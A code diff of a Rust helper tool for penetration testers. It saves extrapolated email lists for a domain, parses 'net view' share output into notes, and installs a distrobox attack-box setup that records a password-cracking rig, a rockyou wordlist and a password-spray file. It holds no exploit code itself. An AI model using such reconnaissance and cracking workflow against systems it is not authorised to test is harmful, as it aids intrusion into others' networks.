email_note_path.push("enumeration.md");
|
||||||
|
let email_text_res = OpenOptions::new().append(true).create(true).open(email_text_path);
|
||||||
|
if email_text_res.is_err(){
|
||||||
|
let error = email_text_res.err().unwrap();
|
||||||
|
println!("{}","error opening email text file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let email_notes_res = OpenOptions::new().append(true).create(true).open(email_note_path);
|
||||||
|
if email_notes_res.is_err(){
|
||||||
|
let error = email_notes_res.err().unwrap();
|
||||||
|
println!("{}","error opeing email notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut email_text_file = email_text_res.unwrap();
|
||||||
|
let mut email_note_file = email_notes_res.unwrap();
|
||||||
|
let mut write_success = true;
|
||||||
|
let note_wriet_res = write!(email_note_file, "# Email Enumeration\n");
|
||||||
|
if note_wriet_res.is_err(){
|
||||||
|
let error = note_wriet_res.err().unwrap();
|
||||||
|
println!("{}","error writing to email notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
write_success = false;
|
||||||
|
}
|
||||||
|
if write_success{
|
||||||
|
write!(email_note_file, "## {}\n", &domain).unwrap();
|
||||||
|
write!(email_note_file, "### Extrapolated Emails\n").unwrap();
|
||||||
|
}
|
||||||
|
println!("data gathered, printing emails and saving files...\n\n");
|
||||||
|
for email in &data[&format.to_lowercase().trim()]{
|
||||||
|
let outline = format!("{}@{}", email, domain);
|
||||||
|
println!("{}", &outline);
|
||||||
|
write!(email_note_file, "{}\n", outline).expect("error writing email notes file!");
|
||||||
|
write!(email_text_file, "{}\n", outline).expect("error writing email text file!");
|
||||||
|
}
|
||||||
|
if write_success{
|
||||||
|
write!(email_note_file, "\n---\n").unwrap();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*pub fn get_all_host_addresses(project: &Project){
|
||||||
|
println!("to do");
|
||||||
|
}*/
|
||||||
|
|
||||||
|
pub fn get_scope_entries(project: &Project) -> Option<Vec<String>>{
|
||||||
|
let mut general_path = project.notes_folder.clone();
|
||||||
|
general_path.push("general.md");
|
||||||
|
let genera_read_res = read_to_string(general_path);
|
||||||
|
if genera_read_res.is_err(){
|
||||||
|
let error = genera_read_res.err().unwrap();
|
||||||
|
println!("{}","ooof error reading your general notes file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let general_string = genera_read_res.unwrap();
|
||||||
|
let mut read_first_entry = false;
|
||||||
|
let general_lines: Vec<&str> = general_string.split("\n").collect();
|
||||||
|
let mut hosts = Vec::new();
|
||||||
|
for line in general_lines{
|
||||||
|
if line.contains("|"){
|
||||||
|
if !line.contains("--"){
|
||||||
|
if read_first_entry{
|
||||||
|
let data: Vec<&str> = line.split("|").collect();
|
||||||
|
let scope_entry = data[1].trim();
|
||||||
|
println!("{} found!", scope_entry);
|
||||||
|
hosts.push(scope_entry.to_owned());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
read_first_entry = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Some(hosts);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn parse_net_view(project: &Project){
|
||||||
|
let mut share_paths = Vec::new();
|
||||||
|
let mut note_path = project.notes_folder.clone();
|
||||||
|
let netview_output_path = PathBuf::from(get_user_input("path to the net view output file"));
|
||||||
|
let netview_read_res = read_to_string(netview_output_path);
|
||||||
|
if netview_read_res.is_err(){
|
||||||
|
print_error("error reading netview output file!", netview_read_res.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let netview_text = netview_read_res.unwrap();
|
||||||
|
let netview_sections: Vec<&str> = netview_text.split("shared resources at ").collect();
|
||||||
|
for section in netview_sections{
|
||||||
|
let mut server = String::new();
|
||||||
|
let lines: Vec<&str> = section.lines().collect();
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("\\\\"){
|
||||||
|
server.push_str(line.trim());
|
||||||
|
}
|
||||||
|
else if line.contains("Disk"){
|
||||||
|
let share_name = line.split_whitespace().collect::<Vec<&str>>()[0];
|
||||||
|
let share_path = format!("{}\\{}", server, share_name);
|
||||||
|
share_paths.push(share_path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print_success("data gathered!");
|
||||||
|
print_informational("writing notes");
|
||||||
|
note_path.push("initial enum.md");
|
||||||
|
let open_res = open_append(¬e_path);
|
||||||
|
if open_res.is_none(){
|
||||||
|
print_error("error opening enum notes!", String::from("can't open file"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut note_file = open_res.unwrap();
|
||||||
|
let write_res = write!(note_file, "\n\n# Shares\n");
|
||||||
|
if write_res.is_err(){
|
||||||
|
print_error("error writing to note file!", write_res.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
write_res.unwrap();
|
||||||
|
for share_path in share_paths{
|
||||||
|
write!(note_file, "- [ ] {}\n\n", share_path).unwrap();
|
||||||
|
}
|
||||||
|
print_success("shares parsed, and saved to initial enum in your obsidian vault!");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -1,231 +1,45 @@
|
|||||||
use std::collections::HashMap;
|
use std::collections::HashMap;
|
||||||
use std::fs;
|
use std::fs::{create_dir_all, remove_dir_all, File};
|
||||||
use std::fs::File;
|
|
||||||
use std::io::Read;
|
use std::io::Read;
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
use std::io::stdin;
|
use std::env;
|
||||||
use std::io::copy;
|
use std::io::copy;
|
||||||
use std::process::Command;
|
use std::process::Command;
|
||||||
|
use std::time::Duration;
|
||||||
use reqwest::blocking::get;
|
use reqwest::blocking::get;
|
||||||
use std::path::PathBuf;
|
use std::{path::Path, path::PathBuf};
|
||||||
use std::process;
|
use std::thread;
|
||||||
use std::process::exit;
|
use std::process::exit;
|
||||||
use directories::UserDirs;
|
use colored::Colorize;
|
||||||
|
|
||||||
use crate::get_user_input;
|
|
||||||
|
|
||||||
|
|
||||||
fn setup_folders(config_path: &PathBuf) -> (String, String, String, String, String, String, String, String, String){
|
|
||||||
let mut delete_for_cleanup = config_path.clone();
|
|
||||||
delete_for_cleanup.pop();
|
|
||||||
let mut failed = false;
|
|
||||||
let mut new_files_folder = String::new();
|
|
||||||
let mut new_notes_folder = String::new();
|
|
||||||
let mut upcomming_files_folder = String::new();
|
|
||||||
let mut upcomming_notes_folder = String::new();
|
|
||||||
let mut tools_folder = String::new();
|
|
||||||
let mut cracking_rig = String::new();
|
|
||||||
let mut cracking_user = String::new();
|
|
||||||
let mut rockyou = String::new();
|
|
||||||
let mut rule = String::new();
|
|
||||||
while new_files_folder.is_empty() || new_notes_folder.is_empty() || tools_folder.is_empty(){
|
|
||||||
if new_files_folder.is_empty(){
|
|
||||||
println!("path to save active project files?");
|
|
||||||
match stdin().read_line(&mut new_files_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy... We will reprompt on the next loop...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if new_notes_folder.is_empty(){
|
|
||||||
println!("path to save active project notes?");
|
|
||||||
match stdin().read_line(&mut new_notes_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy... We will reprompt on the next loop...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if tools_folder.is_empty(){
|
|
||||||
println!("path to custom tools (like github tools and what not)");
|
|
||||||
match stdin().read_line(&mut tools_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy... We will reprompt on the next loop...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if upcomming_files_folder.is_empty(){
|
|
||||||
println!("path to save upcomming project files?");
|
|
||||||
match stdin().read_line(&mut upcomming_files_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy... We will reprompt on the next loop...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if upcomming_notes_folder.is_empty(){
|
|
||||||
println!("path to save upcomming project notes?");
|
|
||||||
match stdin().read_line(&mut upcomming_notes_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy... We will reprompt on the next loop...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if cracking_rig.is_empty(){
|
|
||||||
let mut have_rig = String::new();
|
|
||||||
println!("do you have a separate computer that you can ssh into to crack passwords on?");
|
|
||||||
match stdin().read_line(&mut have_rig){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(_e) => println!("we need input here dummy, try again...")
|
|
||||||
}
|
|
||||||
have_rig = have_rig.to_lowercase();
|
|
||||||
if have_rig.contains("y"){
|
|
||||||
println!("excellent! Whats the IP or hostname?");
|
|
||||||
loop{
|
|
||||||
match stdin().read_line(&mut cracking_rig){
|
|
||||||
Ok(_r) => break,
|
|
||||||
Err(_e) => println!("we need input here dummy, try again...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
println!("user to ssh as for the cracking rig?");
|
|
||||||
loop{
|
|
||||||
match stdin().read_line(&mut cracking_user){
|
|
||||||
Ok(_r) => break,
|
|
||||||
Err(_e) => println!("we need input here dummy, try again...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
println!("Path to rockyou.txt on the cracking rig?");
|
|
||||||
loop{
|
|
||||||
match stdin().read_line(&mut rockyou){
|
|
||||||
Ok(_r) => break,
|
|
||||||
Err(_e) => println!("we need input here dummyu try again...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
println!("Path to one rule to rule them all on the cracking rig?");
|
|
||||||
loop{
|
|
||||||
match stdin().read_line(&mut rule){
|
|
||||||
Ok(_r) => break,
|
|
||||||
Err(_e) => println!("we need input here dummyu try again...")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if have_rig.contains("n"){
|
|
||||||
println!("ooof ok freeloader");
|
|
||||||
cracking_rig = "n".to_owned();
|
|
||||||
rule = "n".to_owned();
|
|
||||||
rockyou = "n".to_owned();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
new_files_folder = new_files_folder.trim_end().to_owned();
|
|
||||||
new_notes_folder = new_notes_folder.trim_end().to_owned();
|
|
||||||
upcomming_files_folder = upcomming_files_folder.trim_end().to_owned();
|
|
||||||
upcomming_notes_folder = upcomming_notes_folder.trim_end().to_owned();
|
|
||||||
tools_folder = tools_folder.trim_end().to_owned();
|
|
||||||
cracking_rig = cracking_rig.trim_end().to_owned();
|
|
||||||
cracking_user = cracking_user.trim_end().to_owned();
|
|
||||||
let new_files_path = PathBuf::from(&new_files_folder.trim_end());
|
|
||||||
let new_notes_path = PathBuf::from(&new_notes_folder.trim_end());
|
|
||||||
let upcomming_files_path = PathBuf::from(&upcomming_files_folder.trim_end());
|
|
||||||
let upcomming_notes_path = PathBuf::from(&upcomming_notes_folder.trim_end());
|
|
||||||
let tools_path = PathBuf::from(&tools_folder.trim_end());
|
|
||||||
if new_files_path.exists() == false{
|
|
||||||
println!("active project file folder does not exist, creating...");
|
|
||||||
match fs::create_dir_all(&new_files_folder){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(e) => {println!("Error creating active project files Folder!: {}", e);failed = true;}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if new_notes_path.exists() == false{
|
|
||||||
println!("active project notes folder does not exist creating...");
|
|
||||||
match fs::create_dir_all(new_notes_path){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(e) => {println!("Error creating active project notes Folder!: {}", e);failed = true;}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if tools_path.exists() == false{
|
|
||||||
println!("tools folder does not exist creating...");
|
|
||||||
match fs::create_dir_all(tools_path){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(e) => {println!("Error creating tools Folder!: {}", e);failed = true;}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if upcomming_files_path.exists() == false{
|
|
||||||
println!("upcomming project files folder does not exist creating...");
|
|
||||||
match fs::create_dir_all(upcomming_files_path){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(e) => {println!("Error creating upcomming project files Folder!: {}", e);failed = true;}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if upcomming_notes_path.exists() == false{
|
|
||||||
println!("upcomming project notes folder does not exist creating...");
|
|
||||||
match fs::create_dir_all(upcomming_notes_path){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(e) => {println!("Error creating upcomming project notes Folder!: {}", e);failed = true;}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if failed{
|
|
||||||
println!("install failed, cleaning up files...");
|
|
||||||
match fs::remove_dir_all(&delete_for_cleanup){
|
|
||||||
Ok(_r) => println!("cleanup successfull, please correct previously reported errors and rerun"),
|
|
||||||
Err(e) => println!("cleanup failed!: {}\nManually delete the following folder and retry\n{}", e, delete_for_cleanup.display())
|
|
||||||
}
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
return (new_files_folder, new_notes_folder, tools_folder, upcomming_files_folder, upcomming_notes_folder, cracking_rig, cracking_user, rockyou, rule);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
fn configure_distrobox(){
|
|
||||||
let user_dirs_result = UserDirs::new();
|
|
||||||
let mut success = false;
|
|
||||||
let mut dbrcpath = PathBuf::new();
|
|
||||||
if user_dirs_result.is_some(){
|
|
||||||
let home = user_dirs_result.unwrap().home_dir().to_path_buf();
|
|
||||||
dbrcpath.push(home);
|
|
||||||
dbrcpath.push(".distroboxrc");
|
|
||||||
let box_config_string = String::from("container_always_pull=\"0\"\ncontainer_generate_entry=1\ncontainer_manager=\"podman\"\ncontainer_name_default=\"ubuntu\"\ncontainer_image_default=\"ghcr.io/ublue-os/ubuntu-toolbox:latest\"\nnon_interactive=\"1\"\nxhost +si:localuser:$USER >/dev/null\nexport PIPEWIRE_RUNTIME_DIR=/dev/null\nexport PATH=$PATH:$HOME/.local/bin\n");
|
|
||||||
let dbrc_file_res = fs::OpenOptions::new().write(true).create(true).open(dbrcpath);
|
|
||||||
if dbrc_file_res.is_err(){
|
|
||||||
let error = dbrc_file_res.err().unwrap();
|
|
||||||
println!("error opening distroboxrc file!");
|
|
||||||
println!("{}", error);
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
let mut dibrc_file = dbrc_file_res.unwrap();
|
|
||||||
let dbrc_write_res = write!(dibrc_file, "{}",box_config_string);
|
|
||||||
if dbrc_write_res.is_err(){
|
|
||||||
println!("error writing config to distroboxrc file!");
|
|
||||||
println!("{}", dbrc_write_res.err().unwrap());
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
let _dbrc_write = dbrc_write_res.unwrap();
|
|
||||||
success = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if success == false{
|
|
||||||
println!("Error getting user dirs!");
|
|
||||||
println!("distrobox config failed, please follow the following instructions...");
|
|
||||||
print!("
|
|
||||||
copy the distrobox config file to your home folder with the name .distroboxrc
|
|
||||||
cp /usr/etc/distrobox/distrobox.conf ~/.distroboxrc
|
|
||||||
|
|
||||||
Then edit the file to change the line container_always_pull=\"1\" to container_always_pull=\"0\"
|
|
||||||
");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
use crate::{get_user_input, print_informational, print_success};
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
pub fn install(config_path: &PathBuf){
|
pub fn install(config_path: &PathBuf){
|
||||||
let mut _terminal_commands = HashMap::from([
|
let mut _terminal_commands = HashMap::from([
|
||||||
("konsole", "konsole -e !!!"),
|
("kde", "konsole -e !!!"),
|
||||||
|
("plasma", "konsole -e !!!"),
|
||||||
("gnome", "gnome-terminal -- bash !!!"),
|
("gnome", "gnome-terminal -- bash !!!"),
|
||||||
("xfce", "xfce4-terminal --execute '!!!'"),
|
("xfce", "xfce4-terminal --execute '!!!'"),
|
||||||
("alacritty", "alacritty -e !!!"),
|
("alacritty", "alacritty -e !!!"),
|
||||||
]);
|
]);
|
||||||
|
let mut folder_creation = true;
|
||||||
|
let current_projects = PathBuf::from(get_user_input("path to store your active projects?"));
|
||||||
|
let current_notes = PathBuf::from(get_user_input("path to store your active project notes?"));
|
||||||
|
let upcoming_projects = PathBuf::from(get_user_input("path to store your upcomming projects?"));
|
||||||
|
let upcoming_notes = PathBuf::from(get_user_input("path to store your upcomming project notes?"));
|
||||||
|
let tools = PathBuf::from(get_user_input("path where you store your custom tools (like from github and places)?"));
|
||||||
|
let mut vault_name = String::new();
|
||||||
|
let folders = vec![¤t_projects, ¤t_notes, &upcoming_projects, &upcoming_notes, &tools];
|
||||||
let mut config_folder_path: PathBuf = config_path.clone();
|
let mut config_folder_path: PathBuf = config_path.clone();
|
||||||
config_folder_path.pop();
|
config_folder_path.pop();
|
||||||
|
let mut password_path = config_folder_path.clone();
|
||||||
|
password_path.push("password_spray.md");
|
||||||
let mut projects_conf_path = config_folder_path.clone();
|
let mut projects_conf_path = config_folder_path.clone();
|
||||||
let mut bell_file_path = config_folder_path.clone();
|
let mut bell_file_path = config_folder_path.clone();
|
||||||
let del_on_fail = config_folder_path.clone();
|
let del_on_fail = config_folder_path.clone();
|
||||||
projects_conf_path.push("projects.conf");
|
projects_conf_path.push("projects.conf");
|
||||||
fs::create_dir_all(&config_folder_path).expect("error creating config dir");
|
create_dir_all(&config_folder_path).expect("error creating config dir");
|
||||||
bell_file_path.push("bell.mp3");
|
bell_file_path.push("bell.mp3");
|
||||||
let bell_sound_url = "https://github.com/Pyro57000/pentest_tool/raw/refs/heads/main/resources/bell.mp3";
|
let bell_sound_url = "https://github.com/Pyro57000/pentest_tool/raw/refs/heads/main/resources/bell.mp3";
|
||||||
let response = get(bell_sound_url).unwrap();
|
let response = get(bell_sound_url).unwrap();
|
||||||
@@ -233,131 +47,259 @@ pub fn install(config_path: &PathBuf){
|
|||||||
let mut bell_file = File::create(bell_file_path).unwrap();
|
let mut bell_file = File::create(bell_file_path).unwrap();
|
||||||
copy(&mut response.take(response_length), &mut bell_file).unwrap();
|
copy(&mut response.take(response_length), &mut bell_file).unwrap();
|
||||||
println!("bell notification tone sucessfully downloaded!");
|
println!("bell notification tone sucessfully downloaded!");
|
||||||
let mut config_file = fs::File::create(config_path).expect("error creating file");
|
println!("creating new folders if needed...");
|
||||||
let mut projects_conf_file = fs::File::create(projects_conf_path).expect("error creating projects config file");
|
for folder in &folders{
|
||||||
projects_conf_file.write_all(b"customer:name:notes:files:active:box_name:stage\n").expect("error writing default project info");
|
if !Path::exists(folder){
|
||||||
let mut terminal_response = String::new();
|
let create_res = create_dir_all(folder);
|
||||||
let mut template_name = String::new();
|
if create_res.is_err(){
|
||||||
let mut have_template = String::new();
|
let error = create_res.err().unwrap();
|
||||||
println!("terminal you use? (example: konsole, xfce, gnome, etc)");
|
println!("{}{}","error creating folder ".red(), folder.display().to_string().red());
|
||||||
std::io::stdin().read_line(&mut terminal_response).unwrap();
|
println!("{}", error.to_string().red());
|
||||||
let mut _terminal_command = String::new();
|
println!("you'll need to create this manually after the install is done!");
|
||||||
if terminal_response.contains("konsole"){
|
folder_creation = false;
|
||||||
let mut response_buffer = String::new();
|
|
||||||
println!("do you already have a custom profile setup?");
|
|
||||||
println!("this is pretty specific to pyro's setup, I do some special sauce for my konsole stuff");
|
|
||||||
std::io::stdin().read_line(&mut response_buffer).unwrap();
|
|
||||||
if response_buffer.to_lowercase().contains("y"){
|
|
||||||
let mut profile = String::new();
|
|
||||||
println!("konsole profile name?");
|
|
||||||
std::io::stdin().read_line(&mut profile).unwrap();
|
|
||||||
_terminal_command = format!("konsole --profile {}", profile);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
let tool_volume = format!("{}:/tools:rw", &tools.display());
|
||||||
|
println!("sweet, now let's get some distrobox stuff out of the way!");
|
||||||
|
let distrobox_run_res = Command::new("distrobox").arg("list").arg("--root").output();
|
||||||
|
if distrobox_run_res.is_err(){
|
||||||
|
let error = distrobox_run_res.err().unwrap();
|
||||||
|
println!("{}","Distrobox file was not found!".red());
|
||||||
|
println!("{}","This usually means that distrobox is not installed.".red());
|
||||||
|
println!("{}","please install distrobox, if you're on kali run `sudo apt install distrobox`".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
println!("{}","this project heavily relies on distrobox, as its primarily a distrobox mangement tool.".red());
|
||||||
|
println!("{}","cleaning up up configuration folders, please install distrobox and re-run this program.".red());
|
||||||
|
let cleanup = remove_dir_all(&del_on_fail);
|
||||||
|
if cleanup.is_err(){
|
||||||
|
println!("error cleaning up configuration folder!");
|
||||||
|
println!("please manually delete {} before re-running this install.", &del_on_fail.display());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
cleanup.unwrap();
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
let distrobox_output = distrobox_run_res.unwrap().stdout;
|
||||||
|
let distrobox_string = String::from_utf8_lossy(&distrobox_output);
|
||||||
|
let mut distrobox_names = Vec::new();
|
||||||
|
let distrobox_output_lines: Vec<&str> = distrobox_string.split("\n").collect();
|
||||||
|
for line in distrobox_output_lines{
|
||||||
|
if line.len() > 1{
|
||||||
|
let name = line.split(" | ").collect::<Vec<&str>>()[1];
|
||||||
|
distrobox_names.push(name.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut have_box = false;
|
||||||
|
for name in distrobox_names{
|
||||||
|
if !name.contains("NAME"){
|
||||||
|
have_box = true;
|
||||||
|
println!("{}", name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut template_box_name = String::new();
|
||||||
|
if have_box{
|
||||||
|
template_box_name = get_user_input("Name of the distrobox you want to use as a template?");
|
||||||
|
}
|
||||||
else{
|
else{
|
||||||
_terminal_command = _terminal_commands[terminal_response.trim_end()].to_owned();
|
println!("no exiting distroboxes created!");
|
||||||
}
|
println!("let's make one!");
|
||||||
let (files_response, notes_response, tools_response, project_folder_path, project_note_path, cracking_rig, cracking_user, rockyou, rule) = setup_folders(&config_path);
|
template_box_name = get_user_input("name of the distrobox you want to create?");
|
||||||
print!("
|
println!("review images listed here: https://distrobox.it/compatibility/#containers-distros");
|
||||||
This tool is mainly to handle distrobox creation and usage.
|
let box_image = get_user_input("image you want to base the template box on?");
|
||||||
It's expecting you to have a distrobox that you will use as a template.
|
let template_box_create_res = Command::new("distrobox")
|
||||||
Do you have a distrobox set up to function as your template for all new projects?
|
|
||||||
");
|
|
||||||
std::io::stdin().read_line(&mut have_template).unwrap();
|
|
||||||
if have_template.contains("n"){
|
|
||||||
println!("ooof buddy, should have had that already... no worries, we'll make one now.");
|
|
||||||
let new_boxname = get_user_input("name for your template box? (for exmaple I use atarchbox cause its my attacking archbox ;-)");
|
|
||||||
println!("please review the following link to select an image to use for your distrobox");
|
|
||||||
println!("https://distrobox.it/compatibility/#containers-distros");
|
|
||||||
let image_name = get_user_input("which image would you like to use?");
|
|
||||||
let tools_volume =format!("{}:/tools:rw", &tools_response);
|
|
||||||
let distrobox_create_res = Command::new("distrobox")
|
|
||||||
.arg("create")
|
.arg("create")
|
||||||
.arg("--root")
|
.arg("--root")
|
||||||
.arg("--name")
|
|
||||||
.arg(new_boxname)
|
|
||||||
.arg("--init")
|
|
||||||
.arg("--image")
|
.arg("--image")
|
||||||
.arg(image_name)
|
.arg(&box_image)
|
||||||
|
.arg("--name")
|
||||||
|
.arg(&template_box_name)
|
||||||
|
.arg("--init")
|
||||||
.arg("--volume")
|
.arg("--volume")
|
||||||
.arg(tools_volume)
|
.arg(&tool_volume)
|
||||||
.arg("--additional-packages")
|
|
||||||
.arg("systemd")
|
|
||||||
.arg("--")
|
|
||||||
.arg("exit")
|
|
||||||
.status();
|
.status();
|
||||||
if distrobox_create_res.is_err(){
|
if template_box_create_res.is_err(){
|
||||||
let error = distrobox_create_res.err().unwrap();
|
let error = template_box_create_res.err().unwrap();
|
||||||
println!("ooof we ran into a problem creating your distrobox....");
|
println!("{}","error creating template box!".red());
|
||||||
println!("{}", error);
|
println!("{}", error.to_string().red());
|
||||||
println!("you'll have to make it manually, but remember the name you want to use for the next step.");
|
println!("{}","\n\n\nplese create it yourself with the following command.".red());
|
||||||
|
println!("\n\ndistrobox create --root --image {}, --name {}, --init --volume {}", &box_image, &template_box_name, &tool_volume);
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
distrobox_create_res.unwrap();
|
template_box_create_res.unwrap();
|
||||||
println!("nice, we created a distrobox, remeber the name of your box for the next step!");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
let _list = process::Command::new("distrobox").arg("list").arg("--root").status();
|
let mut cracking_rig = String::from("nobody@nothing");
|
||||||
println!("distrobox template name?");
|
let mut rockyou = String::from("n/a");
|
||||||
std::io::stdin().read_line(&mut template_name).unwrap();
|
let mut rule = String::from("n/a");
|
||||||
let mut set_fprint = String::from("no");
|
let cracking_rig_response = get_user_input("do you have a separate machine to crack passwords on? (not the ambush cracking rig)");
|
||||||
let fprint_answer = get_user_input("do you want to use fingerprint authentication inside the distroboxes?").to_lowercase();
|
if cracking_rig_response.to_lowercase().contains("y"){
|
||||||
if fprint_answer.contains("y"){
|
let rig_ip = get_user_input("ip address or hostname of your cracking rig?");
|
||||||
set_fprint = "yes".to_owned();
|
let rig_user = get_user_input("username to log into your cracking rig with?");
|
||||||
|
rockyou = get_user_input("location of rockyou.txt on the cracking rig?");
|
||||||
|
rule = get_user_input("location of one rule to rule them all on the cracking rig?");
|
||||||
|
cracking_rig = format!("{}@{}", rig_user, rig_ip);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("ok free loader");
|
||||||
|
}
|
||||||
|
let fingerprint = get_user_input("will you be using fingerprint authentication for your distroboxes?").to_lowercase();
|
||||||
|
let mut terminal = String::new();
|
||||||
|
for desktop in _terminal_commands.keys(){
|
||||||
|
println!("{}", desktop);
|
||||||
|
}
|
||||||
|
let desktop_response = get_user_input("do you use any of these desktops?").to_lowercase();
|
||||||
|
if desktop_response.contains("y"){
|
||||||
|
let default_response = get_user_input("do you use the default terminal for your desktop?").to_lowercase();
|
||||||
|
if default_response.contains("y"){
|
||||||
|
let de = get_user_input("which desktop do you use?");
|
||||||
|
terminal = _terminal_commands[&de.as_str()].to_owned();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("OK, then please enter the command you'd use to launch a new terminal and run a command inside of it, replacing the command with three !s");
|
||||||
|
println!("for example for konsole you'd enter");
|
||||||
|
println!("konsole -e !!!");
|
||||||
|
terminal = get_user_input("");
|
||||||
|
}
|
||||||
|
if terminal.contains("konsole"){
|
||||||
|
println!("do you use a specific profile for your attack boxes?");
|
||||||
|
println!("this is pretty specific to Pyro's setup, so you probably don't");
|
||||||
|
if get_user_input("").to_lowercase().contains("y"){
|
||||||
|
let profile_name = get_user_input("what is the name of your profile?");
|
||||||
|
terminal = format!("konsole --profile {}", profile_name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("many of the fuctions of this tool assume you're using obsidian or some other markdown editor for note taking");
|
||||||
|
let obsidian_used = get_user_input("do you use obsidian for your notes?");
|
||||||
|
if obsidian_used.to_lowercase().contains("y"){
|
||||||
|
vault_name = get_user_input("the name of the vault you're going to use?");
|
||||||
|
}
|
||||||
|
let configuration_string = format!("
|
||||||
|
Project_files:{}
|
||||||
|
Project_notes:{}
|
||||||
|
tools_folder:{}
|
||||||
|
upcoming_files:{}
|
||||||
|
upcoming_notes:{}
|
||||||
|
box_template:{}
|
||||||
|
terminal:{}
|
||||||
|
cracking_rig:{}
|
||||||
|
rockyou_location:{}
|
||||||
|
rule_location:{}
|
||||||
|
pass_file:{}
|
||||||
|
fingerprint:{}
|
||||||
|
vault_name:{}"
|
||||||
|
, ¤t_projects.display(), ¤t_notes.display(), &tools.display(), &upcoming_projects.display(), &upcoming_notes.display(), &template_box_name, &terminal, cracking_rig, rockyou, rule, &password_path.display(), fingerprint, &vault_name);
|
||||||
|
println!("cool everything, all folders and settings have been entered, now let's save this to a config file...");
|
||||||
|
thread::sleep(Duration::from_secs(3));
|
||||||
|
let mut config_file_res = File::create_new(config_path);
|
||||||
|
if config_file_res.is_err(){
|
||||||
|
println!("ooof error creating configuration file...");
|
||||||
|
println!("try creating it manually.");
|
||||||
|
println!("copy the following configuration and save it to {}", config_path.display());
|
||||||
|
print!("{}\n", configuration_string);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
let mut config_file = config_file_res.unwrap();
|
||||||
|
let config_write_res =write!(config_file, "{}", &configuration_string);
|
||||||
|
if config_write_res.is_err(){
|
||||||
|
println!("error writing configuration string to the configuration file!");
|
||||||
|
println!(" try creating it manually.");
|
||||||
|
println!("copy the following configuration and save it to {}", &configuration_string);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
config_write_res.unwrap();
|
||||||
|
println!("nice the configuration file was written correctly!");
|
||||||
|
println!("creating project configuration file, and poplulating it with the default project...");
|
||||||
|
let project_conf_res = File::create_new(&projects_conf_path);
|
||||||
|
if project_conf_res.is_err(){
|
||||||
|
let error = project_conf_res.err().unwrap();
|
||||||
|
println!("{}","ooof error creating the projects configuration file.".red());
|
||||||
|
println!("{}","try creating it manually!".red());
|
||||||
|
println!("copy the following configuration and save it to {}", &projects_conf_path.display());
|
||||||
|
println!("customer:name:notes:files:active:time:box_name:stage");
|
||||||
|
println!("default:default:{}:{}:yes:{}:current", ¤t_notes.display(), ¤t_projects.display(), &template_box_name);
|
||||||
|
exit(1);
|
||||||
|
}
|
